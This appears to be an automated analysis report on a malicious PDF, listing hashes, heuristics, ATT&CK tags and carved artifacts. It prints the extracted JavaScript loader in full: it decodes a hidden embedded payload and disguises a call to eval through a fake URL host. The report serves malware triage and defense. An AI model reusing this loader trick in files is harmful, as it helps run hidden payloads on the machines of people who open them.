PDF malware analysis — malicious · 442a45d69c381e7e

MALICIOUS

PDF

4.5 KB First seen: 2026-05-09

MD5: fc980296fa9584c727ace2a9eda705b7 SHA-1: a55af71ca620639252e8e5bb1e04f61bb7e4296f SHA-256: 442a45d69c381e7e5a62860f1557f8ccfdfeb9f1f87c426e641013320641b724

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The PDF contains embedded JavaScript, which is a common technique for delivering malicious payloads. The ML classifier strongly indicates maliciousness. The embedded JavaScript likely attempts to download and execute a secondary payload from the embedded file, which is also suspicious. The specific attack pattern is inferred from the presence of these malicious components.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0013.bin`	pdf-embedded-file	PDF EmbeddedFile object 13 at offset 0x429	77826 bytes
SHA-256: `22fd51863ec721c289f02f2d8cd70a7d8bc5d7490ddf9f771a389d8d5d1174f3`
Detection ClamAV: No threats found Obfuscation or payload: likely 264 of 264 identifiers look randomly generated (e.g. 'wN7qLzdBV0mKvpoR1wN7qLzdBV0mKvpoR2wN7qLz') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
`javascript_obj0008_000.js`	pdf-javascript-stream	PDF /JS object 8 at offset 0x1F1	230 bytes
SHA-256: `30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e`
Preview script First 1,000 lines of the extracted script zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){ zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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